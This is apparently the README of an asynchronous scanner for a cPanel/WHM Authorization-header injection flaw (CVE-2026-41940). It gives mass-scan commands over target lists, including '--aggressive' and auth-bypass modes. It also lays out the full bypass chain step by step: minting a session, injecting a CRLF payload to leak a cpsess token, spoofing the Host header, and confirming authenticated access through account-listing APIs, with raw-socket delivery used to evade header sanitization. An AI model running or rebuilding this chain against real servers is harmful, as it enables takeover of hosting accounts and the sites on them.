Async CLI scanner for CVE-2026-41940 (cPanel header injection). The scanner runs in three phases:
- Network survival filter (HEAD requests)
- Malformed request injection (Authorization header payloads)
- Logic-oracle analysis with CSV output
- Python 3.8+
- Dependencies:
httpx,colorama
Install dependencies:
python -m pip install httpx colorama
python scanner.py -l targets.txt -p 2082,2083,2087 -w 50 -o scan_results.csv
python scanner.py -l targets.txt --port-profile whm --flow auth-bypass
python scanner.py -l targets.txt -p 2083 -t 5 --variant all
python scanner.py -l targets.txt -p 2083 --flow auth-bypass --verify-mode strict
python scanner.py -l targets.txt -p 2083 --flow all --aggressive
python scanner.py -l targets.txt -p 2082 --no-ssl-verify --retries 2 --retry-backoff 0.5
python scanner.py -l targets.txt -p 2082 --alive-method get
python scanner.py -l targets.txt -p 2082 --raw-payloads --payloads-file legacy_payloads.txt
python scanner.py -l targets.txt -p 2087 --flow auth-bypass --auth-payloads-file auth_payloads.txt
One entry per line:
- Hostname only:
example.com - Hostname with port:
example.com:2083 - Full URL:
https://example.com:2083
Comments start with # and blank lines are ignored. URL targets must not include a path or query string.
The output is a CSV file (default scan_results.csv) with one row per payload:
targetstatusstatus_codepayload_typetimestampevidenceresponse_previewflowphasecanonical_host
- Survival checks default to
head-get, which tries a HEAD request first and falls back to GET for hosts that drop or block HEAD. - CRLF payloads are delivered via a raw socket request to avoid HTTP client header sanitization. Use
--raw-payloadsto force raw requests for all payload variants. - Network errors are categorized (DNS/TLS/refused/timeout) to help diagnose unreachable targets.
- The auth-bypass flow (
--flow auth-bypass) follows the observed chain:/login/?login_only=1to mint a session,Authorization: Basicinjection to leak acpsesstoken, propagation via/scripts2/listaccts, then verification via/json-api/versionor/json-api/listaccts. - Use
--verify-mode strictto require a successfulresult=1signal in the API response.--aggressiveenables extra propagation targets and fallback verification. - Auth-bypass results may show
TOKEN_LEAKED,TOKEN_NOT_FOUND,PREAUTH_FAILED,AUTH_REDIRECT, orWAF_BLOCKEDto indicate how far the chain progressed. - Canonical host discovery uses
/openid_connect/cpanelidto align Host headers with WHM redirects; disable with--no-host-discoverywhen not needed. - Custom payload files accept one payload per line; use
name|payloadto label entries in output evidence. Auth payload entries can be raw base64 or fullBasic <base64>values. - Use
--port-profileto default to WHM, cPanel, or mixed port sets when--portsis omitted.--protocol-preferencecontrols HTTPS/HTTP ordering for scheme-less targets.
- Affected cPanel/WHM versions are reported as prior to 11.110.0.97, 11.118.0.63, 11.126.0.54, 11.132.0.29, 11.134.0.20, and 11.136.0.5.
- GitHub PoCs (watchTowr, cPanelSniper, multiple Python/Go ports) consistently use
/openid_connect/cpanelidto discover the canonical hostname and then spoof the Host header for the auth-bypass chain. - Observed auth-bypass flow:
POST /login/?login_only=1(401 +whostmgrrelogincookie),GET /withAuthorization: Basic <base64>to leak/cpsessvia 307 Location,GET /scripts2/listacctsto triggerdo_token_denied, then verification via/json-api/versionor/json-api/listaccts?api.version=1. - Payload variants appear in PoCs and Nuclei templates: a base64 CRLF payload with
cp_security_tokenfields and a watchTowr payload without the token marker. - Verification success signals include
"data":{"version":...},"command":"version","reason":"OK","result":1, or license-gated 500/503 responses indicating authenticated access.
python -m unittest discover -s tests